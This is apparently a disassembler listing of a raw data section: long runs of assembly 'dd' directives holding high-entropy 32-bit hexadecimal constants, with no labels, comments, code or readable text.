dd 0B07F7079h, 0E81379A7h, 0B1529E3Bh, 0AD1BCF23h, 1662DF48h
dd 66346756h, 0A4F7F827h, 0CD04DD58h, 603A1239h, 0EC0A8A4h
dd 0E96CB517h, 64AF6FF3h, 0B1069702h, 1D7684B2h, 44E6D40h
dd 5D6CF84Dh, 5B05CCE4h
dd 7B57074Ch, 61987961h, 0F7AA29AAh, 0F38CBAA5h, 0FC9141A8h
dd 52FCBD37h, 200FE864h, 17F9D0AFh, 3FB0AFB3h, 71AAC3D0h
dd 2599E7CDh, 0B6DC4562h, 3382ADCCh, 0A5A5EBAFh, 0C02D6000h
dd 24807530h, 0A2FD3659h, 4A9D087Ch, 6B2673A9h, 51C190D7h
dd 20FA52CDh, 4C1DF8A2h, 414D3937h, 0AD728870h, 35155AC9h
dd 0F6C533BDh, 0E39AB2B1h, 40ED7E6Ah, 0BA05F578h, 1959115Fh
dd 837E00CCh, 0FA0B70AEh, 5266510h, 7FBE18F1h, 1905B1FDh
dd 0BD16D4A4h, 5B4DF18h, 0E6A5811Fh, 0AF2DEA52h, 48151CC0h
dd 0E8979160h, 18133B87h, 7A8E6803h, 0CF276A46h, 0B0402B98h
dd 6596BD7Bh, 1DFF23E4h, 5AB07843h, 0C39CD1F7h, 3103D0A9h
dd 0A47E9245h, 707C2698h, 7FE2C43h, 3F785A6Dh, 0D5FAF46Eh
dd 0E3B6D171h, 0F3231450h, 0E94D4A3Fh, 4BFA10A2h, 0CB99A2CFh
dd 0BB973677h, 9F05BDF3h, 669DC7E7h, 0BDC3902Fh, 7986EC74h
dd 84F199FFh, 0C0DD9952h, 31499D85h, 7ACCAB31h, 7D906E3h
dd 76E8C10Bh, 0B8160C95h, 754F074Ch, 2794C9B9h, 80189F6Ch
dd 1B1AF87Ch, 217F11D7h, 7A339800h, 1F819209h, 41185EB2h
dd 2452AFDDh, 41D59DB2h, 9E69DFDCh, 7BF1AF6Bh, 4A668330h
dd 0CDD78250h, 0A44A5106h, 0F0DD7E43h, 0C106427h, 3F3FCDF0h
dd 0D904BD85h, 0A89EE4EFh, 83ED4970h, 0E6E8C6B8h, 8C64A940h
dd 8FDB35BAh, 0B779C06h, 7D2C777Bh, 60DC4D1Eh, 0ABC479EBh
dd 20F53DEBh, 3F9B22DBh, 22BC9161h, 0E87EFEFh, 22D62584h
dd 74A84DB7h, 11BAA04h, 0E43AEAB1h, 5ECA2DCAh, 0B2BC4C4Ah
dd 0ED6FFCC6h, 944B0F6Ch, 0AB3D1D4Ch, 0DF4F4DF3h, 6AD6542Dh
dd 8AC7DBEDh, 0B029A03Eh, 8746DD41h, 7361B73Dh, 4FD12BECh
dd 9FE249ACh, 618AA29Dh, 0E843BCB8h, 56B9B523h, 7A7C75EFh
dd 6008669Eh, 0B903BF43h, 24D394F3h, 4AF80238h, 0AFB7865Bh
dd 954B3F33h, 4717ED26h, 0B28C559Fh, 7DDA447h, 1DC0F402h
dd 9274EA9Fh, 0DB29529Ah, 0AE76601Ah, 731A671Ch, 0ADEC6BECh
dd 44330FCEh, 4E354C5h, 58909B77h, 2A6D484Ch, 56DD52BDh
dd 0EF01ADFBh, 0DA05E5EBh, 0BDCED6CEh, 4F47D2B3h, 0E280802Dh
dd 0F905CE8Ch, 0B98E5C72h, 783B6819h, 0E1CDCF47h, 0C431299Ah
dd 0B37D16E3h, 4B1F1DDCh, 7A840150h, 0EDDC99F8h, 0F374FA7Eh
dd 0BF991CB7h, 167277DFh, 4ADBA567h, 0A33F4793h, 7439EF8Ch
dd 14AAEE7Ah, 8EB7FEADh, 72628CEBh, 5A552441h, 83E8B904h
dd 8508ED77h, 71F05443h, 47C3DDACh, 503B4ECFh, 0A8A1F30Ah
dd 0ADC73B09h, 9864592Fh, 86514C8Bh, 64602408h, 916F5EDBh
dd 0ED58B797h, 8BF3648Dh, 0D6080E33h, 0A83AF715h, 0F4C362E8h
dd 5B584EBBh, 380298DDh, 1925D5B7h, 98EA60A5h, 0FB813288h
dd 619F3F0Ch, 0FB1A5CD5h, 28477CFAh, 2DC1E4BBh, 0BE03AEC3h
dd 8DC59E55h, 61140D27h, 4794F21h, 84FFFE4Dh, 3431E16Fh
dd 2AEE106h, 3EF58477h, 435B930Fh, 0BF1B8F48h, 47D079AFh
dd 660C6C5h, 0DFE60BD0h, 83BBD2B6h, 101A59AFh, 0EDBC96DDh
dd 9D2919DBh, 0C03D389Ch, 4B3B5EBEh, 0C2BCE896h, 44219669h
dd 0CA607ECCh, 95FDE6B7h, 53F168Ch, 0CCFBA1B3h, 0E7B9938Ch
dd 0D1360ECEh, 10371AC0h, 0AF028296h, 6D41A4E7h, 0D895CD04h
dd 0AAC64948h, 1BE08A3Ah, 616A155Eh, 781FEFCDh, 7519E65Fh
dd 0F3918433h, 5EF50BAFh, 65E38E2Fh, 0D8D19B75h, 9D6B19C8h
dd 0C0B72757h, 1A514B71h, 0E7D84515h, 0D961B1CBh, 343B7987h
dd 1669768Ah, 40FBACDh, 0D61E9684h, 29382ACh, 74AF7209h
dd 2AB27DC7h, 4D1470AAh, 0CDF09D3h, 0F4D0D189h, 28CBFCE3h
dd 44D7B56Ah, 49B740F5h, 0B70A324h, 0C36B23F9h, 7AB86B10h
dd 0C93D9A3h, 23959B53h, 2AB1BA0h, 1BA1199Dh, 0D1E9BD99h
dd 8312526Ah, 16A695D0h, 0AF19468Dh, 0A118960Bh, 27DDCBC0h
dd 87BE135Dh, 1AD6D6A2h, 0CFEBE0A6h, 86D5534Ah, 0E28B379Dh
dd 77C3EE6Fh, 9A52883Bh, 0ABB05AE0h, 6E0AE91Dh, 59850420h
dd 0E683D0DDh, 0E555AFC8h, 74BD83E0h, 0DBDDAF1Eh, 26C056B2h
dd 0E9635530h, 0C278BBFCh, 0CDDA6567h, 12C81A14h, 41F6ED4Ch
dd 445BBBAh, 0A23EB5AFh, 4754A163h, 0F9746F0Ch, 0F1B4F48Bh
dd 29FEF566h, 39BC2824h, 75787731h, 0B0FCB111h, 48661113h
dd 0DE5E7A5h, 0DA6FB446h, 2CB5B117h, 7BFC2A21h, 6A9714B1h
dd 4C2DA3CFh, 2FBC0B71h, 0DE183045h, 0FDFFFF26h, 0A7F758h
dd 0
dd 0FCFD6F00h, 14EA2E8Dh, 0C1636CFEh, 7E1D53DEh, 8DDEE39Ch
dd 38351478h, 0BEEA7DA6h, 9FEF4D14h, 0ACF9CDB5h, 0F1ACC4C0h
dd 9672D07Bh, 20D59DD9h, 46E7860h, 759D7C7Ah, 0AFCFB7DEh
dd 29FBB2A9h, 9A73AFB3h, 7AEB27B8h, 0BB870F77h, 0DD6A8D7h
dd 9C59E5A2h, 761D6BC3h, 65273A50h, 273C2FBEh, 95334222h
dd 0EB113FCCh, 2F69AC2Fh, 9A59C680h, 0CDABA4CDh, 0F929B8B0h
dd 92C8A1EAh, 0A354BD55h, 552622F9h, 476DFE82h, 4C4162FAh
dd 81B7BF1Ah, 0C19E0F64h, 577208EAh, 0EB9DD29Ch, 12E4F417h
dd 0E4398DEAh, 926A5143h, 3FF6F23Ah, 3EB0FD84h, 6904547Ch
dd 6E59B2Eh, 420DA4AEh, 0A2A5A8DBh, 0C78C9C76h, 10952001h
dd 0DB6144A7h, 962D38A9h, 43BD1F43h, 0CD9AF4F8h, 0FC9CF595h
dd 23E2A62h, 0E72DDB0Dh, 6A8603E3h, 39B429A8h, 0FFB35F53h
dd 5DD95B63h, 1301D96h, 81D514EEh, 0B479D29Ah, 0EFE0B043h
dd 0A8F6FB65h, 12BC9F94h, 0E3D0EDBEh, 7286818Eh, 60AC8C81h
dd 23DB8762h, 0B230E748h, 98E79582h, 84E6E50Dh, 6AB32FFh
dd 2BAFDF83h, 616EF555h, 5400449Ch, 58B43BD6h, 69BB5DEBh
dd 0EA6B0456h, 3FC0ADCCh, 88971F15h, 79515D7Dh, 0B2028EC1h
dd 7C07F040h, 916FA5B3h, 0DBBBDDA9h, 8F7C309Bh, 9E2C2CC5h
dd 0F4D1B47Ch, 328A5A88h, 0AB157039h, 7F78119Eh, 0F7A2361Dh
dd 0AE318500h, 0F03E3A4Fh, 372DDCB7h, 27BA6D66h, 0CA7D4EBDh
dd 26C5C1AAh, 2469E647h, 5B38E3EAh, 82D422C0h, 957426F8h
dd 5A25A7A5h, 7E1CA1CEh, 0EAA2E211h, 34362061h, 54AFAFFh
dd 9A2700FCh, 1CECAFC2h, 0EB770FE0h, 60DB5AD5h, 0EE5B7B71h
dd 720C9135h, 82B43BE6h, 8A486A42h, 2F8196F3h, 1663F8C6h
dd 79F8429Fh, 71C2DAFFh, 0EC389F39h, 0AD7A4C09h, 8D0B25FBh
dd 3C21C1A0h, 2BDFFBAEh, 3249EED7h, 0FBAA332Fh, 3522938Ah
dd 0F4237EEFh, 49D0FB3Eh, 0B18CEE37h, 901ABFD6h, 222B13Dh
dd 7A1CCF09h, 4B8D5EE9h, 0BC4C0A1Fh, 868B26F2h, 4F9CAD11h
dd 0E6B25992h, 0BC5A53AEh, 0C51764DDh, 0F339FCF0h, 0BAE72C33h
dd 474300D9h, 80B0F334h, 2CB4895Dh, 42C366C2h, 8EE7FAA2h
dd 541E2FBBh, 0B0D516D0h, 190C448Ch, 15047513h, 0F72335CCh
dd 8D118721h, 5EBFC9B2h, 0BE53F821h, 4AA900CFh, 16D02CD2h
dd 0BD21A9AFh, 0ABCBA70Ah, 0A795EF4h, 7B22A5C8h, 95B3A861h
dd 0AB3708CFh, 520DCCBh, 0B8CB87Ch, 0AB6A57C8h, 657A8B3Eh
dd 0BB7D933Ch, 0DC0C86C3h, 92B3DB32h, 63AE71F0h, 9393FEA2h
dd 227F1FA1h, 0AA27D57h, 31EF1708h, 8586DA8Bh, 7B864DA1h
dd 0C9411CA4h, 211F472Bh, 0E6A42650h, 7C064E9Bh, 0E1781163h
dd 524F8273h, 304A4E96h, 15ECC49h, 970E2C1Ah, 3C954D13h
dd 74209082h, 0A9C8B25Ah, 2F701268h, 21B4D03Fh, 0AA28E3DDh
dd 656E13E7h, 4C227103h, 9F881842h, 4C06C803h, 1C2A075Ah
dd 1D1D5CAEh, 0D143EF31h, 6F15819h, 0D2C43B96h, 68C3FD3Bh
dd 40C53D80h, 4FE7A459h, 0A27A8E35h, 0C30AC01Dh, 0FCBC1324h
dd 209D1CFCh, 0EE146061h, 322201BDh, 0A01854AAh, 2F808A98h
dd 0A34A86EDh, 5BA7CDFDh, 0DCB18B27h, 0EA920B35h, 9F6B563Bh
dd 0BB504F31h, 0B0050A53h, 190AE5F5h, 3B31FABFh, 877709B7h
dd 71684283h, 852D17F7h, 0F89EBC57h, 0AF683538h, 810033EEh
dd 55110489h, 0ADE0E7E1h, 0FE7B91AFh, 0BC84D3B3h, 2C3D20A2h
dd 0DCF929B8h, 2CA61166h, 9766FD95h, 63048CBCh, 0D4CE2FAh
dd 0A65FDF38h, 0A34B1947h, 0BFE1069Fh, 2A0E62C1h, 6CCDCFC4h
dd 48D01B39h, 1F714196h, 16A1821Dh, 305BF42Bh, 0E2357F99h
dd 0EBCD8050h, 9B1C7D3Ch, 4E571CE9h, 8348FD7Ah, 54E88979h
dd 66F18677h, 7E2AD87Eh, 1586FEA1h, 681BD7C1h, 0DC7C84E8h
dd 0A76FA8A9h, 0BFDF881Dh, 1E91091Eh, 3B41A788h, 15A3122Ch
dd 6049DBB2h, 2C525A36h, 677D2B4h, 0E917B577h, 672C93ECh
dd 9DCDC4CCh, 833EB4F3h, 44FFC7AFh, 89B1FFC5h, 2330F17Bh
dd 0B17BAD48h, 0C4C90643h, 94D9A02Eh, 26BB2F99h, 0AA53DB2Bh
dd 0FF82C177h, 6BB8989h, 0D28D7441h, 8B1DBFDEh, 9F462F33h
dd 99922BE0h, 0DBCC0988h, 8C6E101Dh, 0AA75EB84h, 0D68463D1h
dd 6BFF8D5Eh, 0A2F07B0Fh, 29CB2760h, 0C396590h, 777E5F3Ch
dd 22A15116h, 64FD9A98h, 0E495B736h, 0B45745B1h, 0E9B1BDB0h
dd 8FBB0C49h, 0FACF3B44h, 0A324313Eh, 930A85C8h, 3040B608h
dd 8CFB12ACh, 7BEAC519h, 0D0D3370Dh, 9667014Dh, 0B03629E1h
dd 0A829CDEh, 0B5341045h, 59B92A43h, 0CB1C360h, 0CFE5BFFDh
dd 0F6DDE94Fh, 353F05ABh, 0F0351164h, 5F0C090Dh, 38DD7BF6h
dd 0F882A2A1h, 2808AE34h, 54220541h, 2D5B13FDh, 0A5B63E47h
dd 0CAF7B678h, 0D9A391C6h, 0A6C8FD0h, 486B25ACh, 0F553238Ah
dd 8477EB04h, 2000D8FFh, 31E335F7h, 9C2A0CF9h, 0E99C1BBDh
dd 0DD7732ECh, 0F0264745h, 8470C92h, 56864898h, 0CF91FECBh
dd 0C0DE294h, 46F636C3h, 53D71774h, 2D6F55EAh, 0CADD0A70h
dd 33FF9A8Bh, 7F952070h, 0FD524C47h, 25D7DA89h, 66991542h
dd 0BB055027h, 2E1E2935h, 777F3E1Eh, 16D4DC7Dh, 8316C322h
dd 69B10E46h, 0D85537D1h, 0F5DCCFDBh, 0C0C20549h, 3357D80Ah
dd 92378EBDh, 615E83EFh, 441BE22Dh, 26551B96h, 0B2A59545h
dd 1CCFB37Ah, 0A66ED292h, 9349EB76h, 0ABECD98Fh, 0B04C367h
dd 0E82F042Eh, 240F91BFh, 2889780Ch, 7FE8744Ch, 5DEDEBA1h
dd 9D972094h, 2AEEFED7h, 0BCDF2747h, 0DAA8DF8Bh, 0B80975AAh
dd 6AEF41FAh, 59573578h, 0AAEB3DAh, 0E671DDDCh, 3893054Ch
dd 94FA7A85h, 80BC9FC5h, 88479E5Eh, 0AACA7287h, 731D8F42h
dd 64697862h, 0B0A968BBh, 71B1A9DFh, 76A9EFEDh, 8CEAF5D2h
dd 8323A51Fh, 7A964AC9h, 5800BC48h, 8869414Ah, 0B6819579h
dd 427868B0h, 0C1E2CDBDh, 301C79DBh, 105A60C9h, 53FD0C8Ah
dd 2D8D3347h, 514CBA2Ah, 0F0F872E6h, 0F63CD057h, 0FB7271FAh
dd 6A0ACD0h, 0C99AE79Ch, 0BF21ECF6h, 0CF4C0FEFh, 4855C130h
dd 0FEE3809Eh, 182179E9h, 94F8225Ch, 3535425Ah, 8366BFACh
dd 660CC093h, 3A506DF8h, 0F39B3227h, 0F6395462h, 9F536E69h
dd 238956DCh, 49B5FC17h, 62F5C057h, 42001B01h, 5E34572h
dd 3642CC10h, 0A7F29431h, 0BC4DDD84h, 8885B5A9h, 0BCEFC7B7h
dd 1BAAC896h, 34D91A54h, 93593815h, 74A8F7EEh, 0A1AC927Bh
dd 8E12CDD1h, 23BE03E8h, 94F680D1h, 70C83A94h, 9D615405h
dd 4F090368h, 0DCE52CA6h, 89B81D9Dh, 0D3F3DC4h, 0F36096Bh
dd 8596DC3Eh, 7DDD22CBh, 25DCD63Eh, 722DB78Eh, 73C3D00Eh
dd 56FDCE6Ah, 122ACA44h, 1863FFF8h, 0BCBA792Ah, 9C4384BBh
dd 0C2BF5D54h, 0C2B5545Bh, 0D436B925h, 6D0BFCAAh, 45621F04h
dd 0F02457B6h, 0A1BBDD63h, 0C0554E58h, 59E96FB4h, 23387457h
dd 0E607487h, 529F16B3h, 0A248EBBEh, 0C8B837DDh, 429799AFh
dd 5E464CB0h, 1882AB65h, 984A9B0Dh, 82A6C37Ch, 30E8375Eh
dd 3A6DE49Bh, 0C419F337h, 41AF363h, 0D932B40Eh, 0E6D75DABh
dd 20DFFA1h, 0E78AA82h, 852478Eh, 55F60EDFh, 5E8DA189h
dd 406933FAh, 0CA9C12D2h, 6E9AEDA9h, 25F72B18h, 89EBCC63h
dd 0A85CDA1Bh, 0BE2947C0h, 2C620B06h, 19CD5ED4h, 0CAEEFB86h
dd 2D87288h, 0A6AFB412h, 6769B641h, 15BA412Ah, 5CE4C6F0h
dd 0A20543EBh, 7FDA0241h, 90B75CF2h, 0E1209588h, 0E48343C7h
dd 23FAF384h, 5BBE554Dh
dd 365DAF39h, 0F80D420Bh, 2AD7DCE6h, 96942A02h, 2ACFBA92h
dd 39E25CC1h, 0ED060D68h, 503FA695h, 5E2F4DF9h, 2D4D6EC4h
dd 12F0C12Dh, 817F8E1h, 0A0DBF124h, 11EFCA28h, 15B33B2Eh
dd 9EB8BDC9h, 0BE95D027h, 523B5E24h, 0AB610215h, 763DE576h
dd 0FAAF5C67h, 6CEE96C2h, 11C9C056h, 62498A24h, 0B7943EA6h
dd 29B8CBF2h, 72CB5AD0h, 0E8F22E0Ah, 47EFC5A1h, 9595791Ah
dd 401E7B8Dh, 59442FA2h, 7DA9E188h, 22AF64FBh, 0FE2CFCDFh
dd 0D655C3E1h, 5137F866h, 1371176Fh, 75C7D0BDh, 0F0224B3Ch
dd 554FD3F7h, 75B169DBh, 9359C21Ch, 1F98239Ch, 5C11A4A4h
dd 0CB70F4E1h, 493EB938h, 9CA7CB8Fh, 0B30D59F4h, 78AF44AAh
dd 377136E1h, 17504020h, 0F8AB38E9h, 0FC384F43h, 8E9F9567h
dd 37B64F30h, 8EEBD8F6h, 0A4AE6E23h, 1C1282E9h, 26B6964Bh
dd 57133B65h, 538F4224h, 0B60F7BA3h, 6AE0CEEAh, 5EBC401Fh
dd 0EBCC02E6h, 0B52DE2F3h, 2F3CF288h, 2F68E508h, 6032B051h
dd 376026FFh, 3C9BEF29h, 358DB43Bh, 88D62D33h, 0C16A45BEh
dd 9DECDAABh, 0CE9BBDBFh, 47A9979Ch, 85671148h, 0DF02F10h
dd 34134284h, 50E14BA3h, 1124D1A7h, 0C791D0B3h, 0DF0D18Bh
dd 0A9503979h, 0BD836997h, 0BE781000h, 0FEA56B5Bh, 48F2BAAAh
dd 2EE06DAh, 9A8D049Ah, 0DEDF15A3h, 9AFBF8DEh, 63E4EFEh
dd 0C87F94B8h, 0DF507D39h, 66D783ABh, 0B3D11A52h, 9CD90D02h
dd 98224194h, 665397B9h, 7773D822h, 9E6BC13Eh, 6DA155A9h
dd 9CB39B70h, 0AB575D09h, 0D120500h, 9307C8E2h, 70BC4A19h
dd 1F68EB6h, 4826E6FDh, 81907DF9h, 0B4D2584Bh, 0B3C30C9Ch
dd 1B396BAEh, 0C8F486A7h, 0DC5C1A78h, 0C425C5FDh, 46941F56h
dd 0AD7FFEB6h, 0EC262539h, 78FCBF09h, 82B8E6Eh, 0B13CAA2Ch
dd 60659887h, 5BBB8113h, 0C951FBE8h, 0E3A89475h, 0E71FDC0Ah
dd 0D8DD0EB2h, 0E732BBC7h, 8BC74712h, 0E9CCB2Ch, 0EDD3EB6Bh
dd 7642063h, 0D736C51Bh, 0AB011889h, 89B34A03h, 1ACF48B9h
dd 3DF663B0h, 0B723299Ah, 3D74FBE4h, 0E9h, 68000000h, 0EBD2A292h
dd 61BBF073h, 49E72B68h, 0AC0A0DC4h, 0AA1ABF9Dh, 0DBB395D0h
dd 3BF0111Ch, 380DE4BDh, 1C83A46Ah, 80FF4Dh, 2B019195h
dd 0DA676C3Dh, 2A3A45FFh, 0BB6F84FBh, 0EF9D1EF8h, 0C1BAFD85h
dd 51371141h, 7BD4B72Ch, 20B9B475h, 0B0D6EC79h, 5D5EEC87h
dd 0C9E61625h, 8600E76Fh, 80D9998h, 0E6DA5554h, 1C6606ECh
dd 289DD380h, 90A6978Fh, 6F3B4585h, 0F430844Dh, 0D0A96D74h
dd 31DB9F50h, 756E6F7Fh, 1412C188h, 0CFB58B73h, 84F277E8h
dd 44119220h, 0DCE26452h, 9DF51DF5h, 8B2B3967h, 0CEBF1834h
dd 0EB466CFBh, 96937894h, 7318393h, 0A8D7865Bh, 175054B4h
dd 58C8BD84h, 64AF83D6h, 0DFFD6EDAh, 2AB62EAEh, 0B21EDFC0h
dd 0FA191B9h, 0D61BC74Fh, 0A114E0F2h, 9ABA5029h, 0D89E2A9Bh
dd 0F4E57306h, 0CFEB555Ch, 9E8E68DAh, 99915CB5h, 5DA9A9C2h
dd 46CEF7D5h, 7870F677h, 0C48A9690h, 7478A616h, 0B503AB80h
dd 2DC08007h, 0D6BAFA0Bh, 9872A2B3h, 133D83D8h, 0F20BDC79h
dd 2DC1AF66h, 6E68F8E3h, 1C40CECh, 74C9DB06h, 0C5CCD3E5h
dd 8DB85BAh, 57892299h, 925E6F86h, 92CA3F7h, 9CCA935Fh
dd 0ACCE6D92h, 10B45496h, 0AAA54358h, 23C2EADh, 5DF3419Ah
dd 0F74806F3h, 0C49D2CD4h, 56B026D3h, 529103B0h, 86072EF7h
dd 0F06AEADh, 0D41F324Fh, 0CCB938CAh, 0B1D7B37Fh, 0A3ABB83h
dd 0BA63E1EEh, 4D95DA60h, 379D0994h, 52E7AA3h, 3236C63Dh
dd 68E060B6h, 0E331E874h, 597E0EB7h, 0BC0291E1h, 0E9F31835h
dd 4CBF110Fh, 0AE0D89C4h, 104E5754h, 3746CFAh, 0E65F9D3Ch
dd 1A3781D4h, 55EEA649h, 96071470h, 0B7DD0EEh, 534A3300h
dd 8756FB6Ah, 20EFC2E1h, 0CD5F76C6h, 0ABEAF204h, 5A79DB56h
dd 915A6F11h, 0FCB37B4h, 79FED7DEh, 5AD71EDEh, 89005236h
dd 0E44285F4h, 9708FEFBh, 89214121h, 80CD005Ah, 0D10D25B4h
dd 0EAD4D87Bh, 2C4676E0h, 21744F9Dh, 3019CC28h, 19EB1FCh
dd 83133536h, 0EF4136Ah, 0ABF8CD36h, 0F21A0C0Dh, 1705DF69h
dd 7A8CFE31h, 75C3779Dh, 7FB8A04Fh, 5CEFA28Dh, 2104F48Ah
dd 0AD489808h, 0EA93C30h, 3055AA40h, 0D0F433D5h, 908948Bh
dd 4090450Eh, 0B50C2D89h, 80F552F3h, 0EA83C370h, 0E59BAA84h
dd 71568AB8h, 0D3A61EA1h, 0A4CA5DFh, 56F85BE3h, 0DA25ED05h
dd 29DF6159h, 61218B55h, 26A0962Fh, 0C96103E8h, 92E34819h
dd 0E71DDCBDh, 0DC57DE8Dh, 390A9BE6h, 8F4CBA5Ch, 0D90BAF8Fh
dd 1A3B556Ah, 95082DBBh, 6A316520h, 410C0E22h, 0A7A58267h
dd 79692BEAh, 9FEE98E6h, 0B391745Bh, 2831EB59h, 0D41B12F0h
dd 5E53D71Dh, 0D2679114h, 0F0F038CAh, 0CFA74AF3h, 0BED65211h
dd 0F5D40995h, 588F808Ch, 4155E3FBh, 9F384CFh, 32E6EBEh
dd 9AE39F5Dh, 0B74B3634h, 6FCC1568h, 0E323272Eh, 7FAE8F42h
dd 0C7F3E9FAh, 29CF4DA2h, 112750CBh, 0EBDF4BFh, 2FB0670Ah
dd 89127A26h, 0A536DF97h, 4AA4A14Dh, 4FAAE002h, 1B99CF8h
dd 2D4A53E0h, 0B91A6FAFh, 0F4C680D7h, 24236AD5h, 9985782Ch
dd 2FB051BDh, 0C14C856Dh, 0DA277936h, 0A478D584h, 3FAFBDFDh
dd 572C3C8Dh, 219B3BA8h, 5CA5D49Fh, 23C046B8h, 93B1033Fh
dd 0A7C0B4E6h, 0E9F68A6Ah, 0CC6F8300h, 0C7BFDBF1h, 0F5A3FEC0h
dd 2A1D34B3h, 843C90EDh, 0A7B427Ch, 0C41B2EC5h, 29025B78h
dd 7EB743C1h, 0BB5F4EE6h, 1D8AA30Bh, 83BB054h, 0E4CF9546h
dd 0DFBBEE4Ah, 0F9B88E33h, 17C454C1h, 0B0A58096h, 84CC1A51h
dd 9DEF8B75h, 0C49E5FDFh, 597F5A3Bh, 55625179h, 0FF11331Ah
dd 1D324053h, 0E0897371h, 83F1EAC2h, 20257C4Dh, 0D761C1F6h
dd 3C1BAFE2h, 9C421BD4h, 0C7A96F31h, 43ED0EA8h, 0FD208C1Bh
dd 0F1C6FD0h, 0B163C6B1h, 63375E19h, 0A5EF07D9h, 7C00707Bh
dd 0E34E01FAh, 0D0D18567h, 1134F449h, 0AE002529h, 0AFE4AFF2h
dd 0D769306Eh, 2457A4DDh, 3C19F7E9h, 0F82A8667h, 0E8624124h
dd 733FAFB0h, 47A9853Ah, 451D885Bh, 0D1445552h, 0B970CFB0h
dd 8D3ADDCFh, 0D325D9C0h, 54ECF7EBh, 330A2737h, 8FE6630Ch
dd 6CF693FAh, 0DF7DC574h, 4AB4444Eh, 0BD3CE891h, 1AFC9BEEh
dd 0DE8643C4h, 0AECEC134h, 0F362CBB8h, 2C9AAF8Bh, 7E501680h
dd 2F7C3268h, 0F3C66511h, 0FCB4A22Bh, 4876BCF3h, 0FBAEA43Fh
dd 91B5B82Dh, 0BF17C1A6h, 0D83B2AEAh, 0A903F3E0h, 76298F10h
dd 30A38D5Bh, 0E5DEAD56h, 258654B2h, 62FC42D7h, 2D304633h
dd 1C2CE6C6h, 9237A13Eh, 7D7BD4D0h, 2ED17C4Dh, 2122F3B8h
dd 0CC1205A2h, 0FA71EB0h, 8360B82Eh, 0E988D5ABh, 7BD2EACDh
dd 0C8F2BAFEh, 3AB40E28h, 50737170h, 14DCEC83h, 0E9F22E8Dh
dd 0BDBD268Ah, 28E5DBCFh, 2493BB26h, 0C0E7241h, 56F9876Eh
dd 5D1252Dh, 403F478Ch, 0C0BC930Bh, 89DBA8C0h, 0C126DCECh
dd 8E291102h, 0C28F50E1h, 26DC4040h, 0F41D4F73h, 5D143545h
dd 0F920197Ch, 0AE629B4Fh, 0D4D22795h, 6D214B25h, 0CA03231Ch
dd 15AC59BAh, 0E5CB764Fh, 3E7C430Ah, 0A94F6A7Ch, 0D6367723h
dd 0D99F275Eh, 0E096EDDCh, 3FFDBE68h, 0F7C1C7B4h, 0E12E8968h
dd 900D46ECh, 60954B2Ah, 59EE8415h, 7BA36082h, 0B4E456D0h
dd 0D9869AE7h, 867A71F9h, 0B97C6BA7h, 4A8FFC3Ah, 55BE3620h
dd 3B2832F5h, 0F504A895h, 0ED7A0CF4h, 15591524h, 89B80677h
dd 6A093B4Ah
dd 34A443D6h, 0C314F7DBh, 7371926Bh, 8EFF5FA8h, 0C959C49Bh
dd 0AC808711h, 98AE165Eh, 0F936D679h, 2F58CDF0h, 40C3A448h
dd 0EFBFC25Ah, 0DABD3CF9h, 0AEA6392Bh, 17723C34h, 3E5A7739h
dd 67F62D5Fh, 0F102D5F1h, 0EB04466Dh, 0AEEFF9A8h, 2A189BFDh
dd 8A4EB553h, 1EB7EF29h, 48A55591h, 0B4AE7215h, 99E94F14h
dd 521D0565h, 49023409h, 1FD9C736h, 7478CB8Ah, 0F638B7B0h
dd 366E80E7h, 4846EE34h, 90852744h, 0AA030D74h, 696D28B8h
dd 0EFBECECEh, 0FA20A8D7h, 3C6B9B7Eh, 23599E2Ah, 65DF0A11h
dd 1E7E047Bh, 92CDB20Fh, 2A0170A1h, 0F05B2FC1h, 8D953B92h
dd 194AC8C5h, 1545CF28h, 0B7A675EBh, 576C5C00h, 0F5BDF1DAh
dd 0A42E4760h, 0D6A048h, 0A57DBBCDh, 0D44882CAh, 0AA2C4033h
dd 460F7693h, 322DC756h, 0EB8270CDh, 72473F74h, 1AED9B08h
dd 567FD464h, 0A3CACF3Dh, 604A6238h, 0F026F2AAh, 3DBCD6BAh
dd 35B6B1B3h, 0CABEC2A9h, 0C0E6CD1Eh, 2D0027D9h, 0E695965Eh
dd 0EB757E77h, 0C730F12Ch, 1CE33366h, 6C186089h, 0AEC4F352h
dd 78F82849h, 1AC5E8DBh, 0AEBB7B53h, 8CBB8F37h, 14BB06FEh
dd 0A3CD5874h, 0FF0EC8A6h, 395E2FFBh, 113D6E1Bh, 67DFA257h
dd 0BBA9F5A6h, 0E602A38Bh, 115042E8h, 0EDE49EA3h, 796056D4h
dd 67A95C8h, 5205D857h, 0C116DE5h, 227F2233h, 0E39F062Dh
dd 6362FA57h, 0AA5D57CDh, 0D014F404h, 0C628D9Eh, 4F6DE3B1h
dd 1F8FACCCh, 0EC8EDB9Fh, 0E670669h, 6BFBC4FCh, 8D0E0AF2h
dd 0CF57F489h, 190C6804h, 37D05449h, 0EEACEB8Eh, 46034A42h
dd 0CF33E23Bh, 613094A6h, 0A0DC315Ah, 7212D385h, 62C3ACF2h
dd 0EA7C59Bh, 0B964BFC7h, 96BEBF9Ch, 693F83CBh, 0D908AB7h
dd 7A2807BBh, 0DCD73B02h, 0E60E87C6h, 123B6FF9h, 51A3F064h
dd 490B4DDDh, 0A8CCF0CCh, 0D3F3DAEEh, 0AB6B0776h, 0B4B33470h
dd 48396DB0h, 0D85D9E4Fh, 30E3FB4Dh, 0A6DADC7Ch, 2C6E4C95h
dd 37FA28C3h, 0DED1512h, 69C908C2h, 54E75551h, 0F08CA176h
dd 0D9FA05BBh, 952CF5B5h, 35B6056Ah, 0AA3969D0h, 538CAB96h
dd 694121E5h, 6EDF30D4h, 0D07196F9h, 0A2784117h, 0D650B1Fh
dd 91CDE57Bh, 5A22D754h, 0A383B2A5h, 0CDEAF197h, 9A0B7D70h
dd 0C50FFD22h, 5C195656h, 91BA84DDh, 245AD2F6h, 9B401183h
dd 5C78B7BFh, 82D571A3h, 0F9B6FDD3h, 3D2CE0E9h, 14001E8h
dd 5EBBD9FFh, 0EEF8D51Ah, 64162FC3h, 1B8F7EF4h, 9BE0E2E6h
dd 0F2B87B4Ch, 0ABFC5DFh, 88CEAED2h, 15007C85h, 84BCF78Ch
dd 3C27FB48h, 8D9C626Ah, 8764F9D9h, 904965FBh, 81C65387h
dd 4733CDBFh, 0CEDFC703h, 0A695FBC0h, 67316F4Bh, 0F907E024h
dd 432D484Dh, 0A429403Fh, 0A58305C8h, 0FE148252h, 0A2DE5265h
dd 0EEB8FE58h, 0F608A14Dh, 8CCBE7B9h, 3DF28727h, 0CC35FACh
dd 0BEACDF2Eh, 10061AC2h, 0A848F1CAh, 6C347B1h, 3E654A8Dh
